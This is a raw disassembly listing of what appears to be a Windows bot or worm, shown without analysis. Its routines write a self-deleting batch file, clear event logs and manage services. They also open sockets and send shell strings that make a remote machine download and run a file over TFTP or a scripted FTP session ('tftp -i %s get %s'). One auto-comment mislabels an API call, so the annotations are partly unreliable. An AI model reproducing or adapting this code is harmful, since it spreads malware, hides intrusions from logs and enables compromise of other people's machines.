		push	esi
		push	40000000h
		push	eax
		call	dword_4E03D8	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_411F62
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_417CB0
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_414EC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	dword_4E03B4	; WriteFile
		push	edi
		call	dword_4E032C	; CloseHandle
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417700
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417700
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset dword_4DD608
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	dword_4E0360	; GetModuleHandleA
		push	eax
		call	dword_4E0334	; GetModuleFileNameA
		lea	eax, [ebp+var_15C]
		push	eax
		call	dword_4E035C	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411F0A
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	dword_4E0358	; SetFileAttributesA


loc_411F0A:				; CODE XREF: sub_411DDE+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_417CB0
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	dword_4E041C	; ExpandEnvironmentStringsA
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	dword_4E0330	; CreateProcessA


loc_411F62:				; CODE XREF: sub_411DDE+72j
		pop	edi
		pop	esi
		leave
		retn
sub_411DDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411F66	proc near		; CODE XREF: sub_401C87+575Ep

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_417700
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	dword_4E039C	; GetVersionExA
		cmp	[ebp+var_84], 2
		jnz	short loc_411FFC
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4D65E8	; OpenEventLogA
		push	edi
		push	eax
		call	dword_4D65F8	; ClearEventLogA
		test	eax, eax
		jz	short loc_411FEE
		push	[ebp+arg_10]
		push	offset dword_443494


loc_411FC7:				; CODE XREF: sub_411F66+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_417CB0
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 20h
		jmp	short loc_412026
; ---------------------------------------------------------------------------


loc_411FEE:				; CODE XREF: sub_411F66+57j
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4434B0
		jmp	short loc_411FC7
; ---------------------------------------------------------------------------


loc_411FFC:				; CODE XREF: sub_411F66+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_4434D8
		push	eax
		call	sub_417CB0
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 1Ch


loc_412026:				; CODE XREF: sub_411F66+86j
		pop	edi
		leave
		retn
sub_411F66	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp-10h]
		push	edi
		push	eax
		call	sub_417700
		add	esp, 0Ch
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-10h], 2
		push	eax
		call	dword_4D66A8	; inet_addr
		push	dword ptr [ebp+0C4h]
		mov	[ebp-0Ch], eax
		call	dword_4D6668	; ntohs
		push	edi
		push	1
		push	2
		mov	[ebp-0Eh], ax
		call	dword_4D66E8	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+0C4h], esi
		jz	loc_41212C
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	esi
		call	dword_4D6610	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_41212C
		mov	ebx, 400h
		push	edi
		lea	eax, [ebp-5A0h]
		push	ebx
		push	eax
		push	esi
		call	dword_4D6680	; recv
		mov	esi, offset byte_4370EC
		push	esi
		push	esi
		push	dword ptr [ebp+8]
		call	sub_408882
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetSS ; "tftp -i %s get %s &%s\r\n"
		lea	eax, [ebp-1A0h]
		push	edi
		push	eax
		call	sub_417E80
		movzx	eax, word ptr dword_4D63A0
		add	esp, 18h
		push	esi
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	sub_408882
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp-1A0h]
		push	edi
		push	eax
		call	sub_417E80
		add	esp, 1Ch
		lea	eax, [ebp-1A0h]
		push	0
		push	eax
		call	sub_414EC0
		pop	ecx
		push	eax
		lea	eax, [ebp-1A0h]
		push	eax
		push	dword ptr [ebp+0C4h]
		call	dword_4D66B8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412130


loc_41212C:				; CODE XREF: .data:0041207Fj
					; .data:00412095j
		xor	al, al
		jmp	short loc_412154
; ---------------------------------------------------------------------------


loc_412130:				; CODE XREF: .data:0041212Aj
		push	0
		lea	eax, [ebp-5A0h]
		push	ebx
		push	eax
		push	dword ptr [ebp+0C4h]
		call	dword_4D6680	; recv
		push	dword ptr [ebp+0C4h]
		call	dword_4D6700	; closesocket
		mov	al, 1


loc_412154:				; CODE XREF: .data:0041212Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412159	proc near		; CODE XREF: sub_401C87+4331p

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	dword_4E039C	; GetVersionExA
		cmp	[ebp+var_90], 4
		jnz	short loc_41219E
		cmp	[ebp+var_8C], 0
		jnz	loc_412228
		xor	eax, eax
		inc	eax
		cmp	[ebp+var_84], eax
		jz	locret_412226


loc_41219E:				; CODE XREF: sub_412159+27j
					; sub_412159+DFj
		push	esi
		push	edi
		push	offset aNetapi32_dll_0 ; "netapi32.dll"
		call	dword_4E037C	; LoadLibraryA
		mov	esi, eax
		push	offset aNetmessagebu_0 ; "NetMessageBufferSend"
		push	esi
		call	dword_4E0380	; GetProcAddress
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41A890
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41A890
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41A890
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41A860
		add	eax, eax
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi	; FindFirstFileA
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		call	dword_4E0420	; FreeLibrary
		mov	eax, edi
		pop	edi
		pop	esi

locret_412226:				; CODE XREF: sub_412159+3Fj
		leave
		retn
; ---------------------------------------------------------------------------


loc_412228:				; CODE XREF: sub_412159+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_41223E
		cmp	[ebp+var_8C], 5Ah
		jnz	loc_41219E


loc_41223E:				; CODE XREF: sub_412159+D6j
		xor	eax, eax
		inc	eax
		leave
		retn
sub_412159	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412243	proc near		; CODE XREF: sub_401300+F7p
					; sub_40CE3E+Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	dword_4E036C	; GetTickCount
		push	eax
		call	sub_417DB0
		pop	ecx
		call	sub_417DC0
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_434488
		call	sub_41991C
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_412243	endp


; =============== S U B	R O U T	I N E =======================================



sub_412280	proc near		; CODE XREF: sub_401C87+2E2Cp
					; sub_401C87+2E95p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_4122E5
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_443628[esi]
		push	edi
		push	eax
		call	sub_412307
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4122C8
		push	edi
		push	off_443624[esi]
		mov	esi, offset dword_4DDCE0
		push	offset unk_443674
		push	esi
		call	sub_417CB0
		add	esp, 10h
		jmp	short loc_412302
; ---------------------------------------------------------------------------


loc_4122C8:				; CODE XREF: sub_412280+2Aj
		push	eax
		call	sub_4123A9
		push	eax
		push	edi
		mov	esi, offset dword_4DDCE0
		push	offset unk_443690
		push	esi
		call	sub_417CB0
		add	esp, 14h
		jmp	short loc_412302
; ---------------------------------------------------------------------------


loc_4122E5:				; CODE XREF: sub_412280+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DDCE0
		push	off_443620[eax*4]
		push	offset unk_4436BC
		push	esi
		call	sub_417CB0
		add	esp, 0Ch


loc_412302:				; CODE XREF: sub_412280+46j
					; sub_412280+63j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_412280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412307	proc near		; CODE XREF: sub_412280+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4D665C	; OpenSCManagerA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_41232E
		call	dword_4E0350	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_4123A3
; ---------------------------------------------------------------------------


loc_41232E:				; CODE XREF: sub_412307+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4D6544	; OpenServiceA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_41234E
		call	dword_4E0350	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_41239B
; ---------------------------------------------------------------------------


loc_41234E:				; CODE XREF: sub_412307+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_412381
		cmp	eax, 3
		jz	short loc_412372
		jle	short loc_412394
		cmp	eax, 6
		jg	short loc_412394
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4D65B0	; ControlService
		jmp	short loc_412388
; ---------------------------------------------------------------------------


loc_412372:				; CODE XREF: sub_412307+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4D654C	; StartServiceA
		jmp	short loc_412388
; ---------------------------------------------------------------------------


loc_412381:				; CODE XREF: sub_412307+4Dj
		push	esi
		call	dword_4D65B4	; DeleteService


loc_412388:				; CODE XREF: sub_412307+69j
					; sub_412307+78j
		test	eax, eax
		jnz	short loc_412394
		call	dword_4E0350	; RtlGetLastWin32Error
		mov	ebx, eax


loc_412394:				; CODE XREF: sub_412307+54j
					; sub_412307+59j ...
		push	esi
		call	dword_4D6560	; CloseServiceHandle


loc_41239B:				; CODE XREF: sub_412307+45j
		push	edi
		call	dword_4D6560	; CloseServiceHandle
		pop	esi


loc_4123A3:				; CODE XREF: sub_412307+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_412307	endp


; =============== S U B	R O U T	I N E =======================================



sub_4123A9	proc near		; CODE XREF: sub_412280+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_41245E
		jz	loc_412457
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_412421
		jz	short loc_412417
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_41240D
		dec	ecx
		dec	ecx
		jz	short loc_412403
		dec	ecx
		jz	short loc_4123F9
		sub	ecx, 51h
		jz	short loc_4123EF
		sub	ecx, 24h
		jnz	loc_4124D4	; default
					; jumptable 0041247B cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4124C6
; ---------------------------------------------------------------------------


loc_4123EF:				; CODE XREF: sub_4123A9+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4124C6
; ---------------------------------------------------------------------------


loc_4123F9:				; CODE XREF: sub_4123A9+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4124C6
; ---------------------------------------------------------------------------


loc_412403:				; CODE XREF: sub_4123A9+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4124C6
; ---------------------------------------------------------------------------


loc_41240D:				; CODE XREF: sub_4123A9+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4124C6
; ---------------------------------------------------------------------------


loc_412417:				; CODE XREF: sub_4123A9+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4124C6
; ---------------------------------------------------------------------------


loc_412421:				; CODE XREF: sub_4123A9+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_412450
		dec	ecx
		jz	short loc_412449
		dec	ecx
		jz	short loc_412442
		dec	ecx
		jnz	loc_4124D4	; default
					; jumptable 0041247B cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4124C6
; ---------------------------------------------------------------------------


loc_412442:				; CODE XREF: sub_4123A9+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4124C6
; ---------------------------------------------------------------------------


loc_412449:				; CODE XREF: sub_4123A9+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4124C6
; ---------------------------------------------------------------------------


loc_412450:				; CODE XREF: sub_4123A9+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4124C6
; ---------------------------------------------------------------------------


loc_412457:				; CODE XREF: sub_4123A9+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4124C6
; ---------------------------------------------------------------------------


loc_41245E:				; CODE XREF: sub_4123A9+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_4124D4 ; default
					; jumptable 0041247B cases 1,5,6,8,9,12,13,15,16
		jz	short loc_4124C1
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_4124D4 ; default
					; jumptable 0041247B cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_412515[ecx]
		jmp	off_4124ED[ecx*4] ; switch jump


loc_412482:				; DATA XREF: .data:off_4124EDo
		push	offset aTheSpecifiedDa ; jumptable 0041247B case 7
		jmp	short loc_4124C6
; ---------------------------------------------------------------------------


loc_412489:				; CODE XREF: sub_4123A9+D2j
					; DATA XREF: .data:off_4124EDo
		push	offset aTheServiceDepe ; jumptable 0041247B case 17
		jmp	short loc_4124C6
; ---------------------------------------------------------------------------


loc_412490:				; CODE XREF: sub_4123A9+D2j
					; DATA XREF: .data:off_4124EDo
		push	offset aTheServiceDe_0 ; jumptable 0041247B case 10
		jmp	short loc_4124C6
; ---------------------------------------------------------------------------


loc_412497:				; CODE XREF: sub_4123A9+D2j
					; DATA XREF: .data:off_4124EDo
		push	offset aTheServiceHasB ; jumptable 0041247B case 0
		jmp	short loc_4124C6
; ---------------------------------------------------------------------------


loc_41249E:				; CODE XREF: sub_4123A9+D2j
					; DATA XREF: .data:off_4124EDo
		push	offset aTheSpecified_0 ; jumptable 0041247B case 2
		jmp	short loc_4124C6
; ---------------------------------------------------------------------------


loc_4124A5:				; CODE XREF: sub_4123A9+D2j
					; DATA XREF: .data:off_4124EDo
		push	offset aTheServiceCoul ; jumptable 0041247B case 11
		jmp	short loc_4124C6
; ---------------------------------------------------------------------------


loc_4124AC:				; CODE XREF: sub_4123A9+D2j
					; DATA XREF: .data:off_4124EDo
		push	offset aTheServiceHa_0 ; jumptable 0041247B case 14
		jmp	short loc_4124C6
; ---------------------------------------------------------------------------


loc_4124B3:				; CODE XREF: sub_4123A9+D2j
					; DATA XREF: .data:off_4124EDo
		push	offset aTheRequested_1 ; jumptable 0041247B case 3
		jmp	short loc_4124C6
; ---------------------------------------------------------------------------


loc_4124BA:				; CODE XREF: sub_4123A9+D2j
					; DATA XREF: .data:off_4124EDo
		push	offset aTheServiceHasN ; jumptable 0041247B case 4
		jmp	short loc_4124C6
; ---------------------------------------------------------------------------


loc_4124C1:				; CODE XREF: sub_4123A9+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_4124C6:				; CODE XREF: sub_4123A9+41j
					; sub_4123A9+4Bj ...
		push	offset dword_4DD610
		call	sub_417CB0
		pop	ecx
		pop	ecx
		jmp	short loc_4124E7
; ---------------------------------------------------------------------------


loc_4124D4:				; CODE XREF: sub_4123A9+36j
					; sub_4123A9+89j ...
		push	eax		; default
					; jumptable 0041247B cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DD610
		call	sub_417CB0
		add	esp, 0Ch


loc_4124E7:				; CODE XREF: sub_4123A9+129j
		mov	eax, offset dword_4DD610
		retn
sub_4123A9	endp

; ---------------------------------------------------------------------------
off_4124ED	dd offset loc_412497	; DATA XREF: sub_4123A9+D2r
		dd offset loc_41249E	; jump table for switch	statement
		dd offset loc_4124B3
		dd offset loc_4124BA
		dd offset loc_412482
		dd offset loc_412490
		dd offset loc_4124A5
		dd offset loc_4124AC
		dd offset loc_412489
		dd offset loc_4124D4
byte_412515	db	0,     9,     1,     2 ; DATA XREF: sub_4123A9+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412527	proc near		; CODE XREF: sub_401C87+2E57p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4D665C	; OpenSCManagerA
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 14h


loc_41255F:				; CODE XREF: sub_412527+123j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4D6628	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_412599
		call	dword_4E0350	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_412650


loc_412599:				; CODE XREF: sub_412527+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_412647
		lea	esi, [ebp+var_188]


loc_4125AA:				; CODE XREF: sub_412527+11Aj
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_4125F6
		dec	eax
		jz	short loc_4125EF
		dec	eax
		jz	short loc_4125E8
		dec	eax
		jz	short loc_4125E1
		dec	eax
		jz	short loc_4125DA
		dec	eax
		jz	short loc_4125D3
		dec	eax
		lea	eax, [ebp+var_20]
		jz	short loc_4125CC
		push	offset aUnknown	; "    Unknown"
		jmp	short loc_4125FE
; ---------------------------------------------------------------------------


loc_4125CC:				; CODE XREF: sub_412527+9Cj
		push	offset aPaused	; "	Paused"
		jmp	short loc_4125FE
; ---------------------------------------------------------------------------


loc_4125D3:				; CODE XREF: sub_412527+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_4125FB
; ---------------------------------------------------------------------------


loc_4125DA:				; CODE XREF: sub_412527+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_4125FB
; ---------------------------------------------------------------------------


loc_4125E1:				; CODE XREF: sub_412527+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_4125FB
; ---------------------------------------------------------------------------


loc_4125E8:				; CODE XREF: sub_412527+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_4125FB
; ---------------------------------------------------------------------------


loc_4125EF:				; CODE XREF: sub_412527+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_4125FB
; ---------------------------------------------------------------------------


loc_4125F6:				; CODE XREF: sub_412527+87j
		push	offset aStopped	; "    Stopped"


loc_4125FB:				; CODE XREF: sub_412527+B1j
					; sub_412527+B8j ...
		lea	eax, [ebp+var_20]


loc_4125FE:				; CODE XREF: sub_412527+A3j
					; sub_412527+AAj
		push	eax
		call	sub_417CB0
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS_0	; "%s: %s (%s)"
		push	eax
		call	sub_417CB0
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_4125AA


loc_412647:				; CODE XREF: sub_412527+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_41255F


loc_412650:				; CODE XREF: sub_412527+6Cj
		push	[ebp+var_C]
		call	dword_4D6560	; CloseServiceHandle
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_412527	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412667	proc near		; CODE XREF: sub_401C87+2F3Dp
					; sub_401C87+2F53p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_412700
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_412690
		dec	eax
		jnz	short loc_4126E0
		push	edi
		push	0
		call	sub_412839
		pop	ecx
		pop	ecx
		jmp	short loc_4126DC
; ---------------------------------------------------------------------------


loc_412690:				; CODE XREF: sub_412667+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_4126CE
		push	24h
		push	edi
		call	sub_418970
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4126CE
		push	57h
		pop	eax


loc_4126A7:				; CODE XREF: sub_412667+77j
		push	eax
		call	sub_413007
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DD8D8
		push	off_443620[eax*4]
		push	offset unk_443C28
		push	esi
		call	sub_417CB0
		add	esp, 18h
		jmp	short loc_412720
; ---------------------------------------------------------------------------


loc_4126CE:				; CODE XREF: sub_412667+2Dj
					; sub_412667+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_41278D
		add	esp, 0Ch


loc_4126DC:				; CODE XREF: sub_412667+27j
		test	eax, eax
		jnz	short loc_4126A7


loc_4126E0:				; CODE XREF: sub_412667+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DD8D8
		push	off_443624[eax*4]
		push	offset dword_443C54
		push	esi
		call	sub_417CB0
		add	esp, 10h
		jmp	short loc_412720
; ---------------------------------------------------------------------------


loc_412700:				; CODE XREF: sub_412667+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DD8D8
		lea	eax, [eax+eax*2]
		push	off_443620[eax*4]
		push	offset unk_443C70
		push	esi
		call	sub_417CB0
		add	esp, 0Ch


loc_412720:				; CODE XREF: sub_412667+65j
					; sub_412667+97j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_412667	endp


; =============== S U B	R O U T	I N E =======================================



sub_412726	proc near		; CODE XREF: sub_413FC4+247p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_412733
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412733:				; CODE XREF: sub_412726+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_4E0424
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		test	byte_4DDAD8, 1
		mov	ebp, eax
		jnz	short loc_412770
		or	byte_4DDAD8, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_419E80
		pop	ecx
		mov	dword_4DD870, eax


loc_412770:				; CODE XREF: sub_412726+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DD870
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		mov	eax, dword_4DD870
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_412726	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41278D	proc near		; CODE XREF: sub_412667+6Dp
					; sub_4142EA+188p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_4127F8
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_4127F8
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_418970
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_4127F8
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4D655C
		pop	edi
		leave
		retn
sub_41278D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4127F8	proc near		; CODE XREF: sub_41278D+Ap
					; sub_41278D+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_412805
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_412805:				; CODE XREF: sub_4127F8+9j
		push	ebx
		push	esi
		mov	esi, dword_4E0428
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
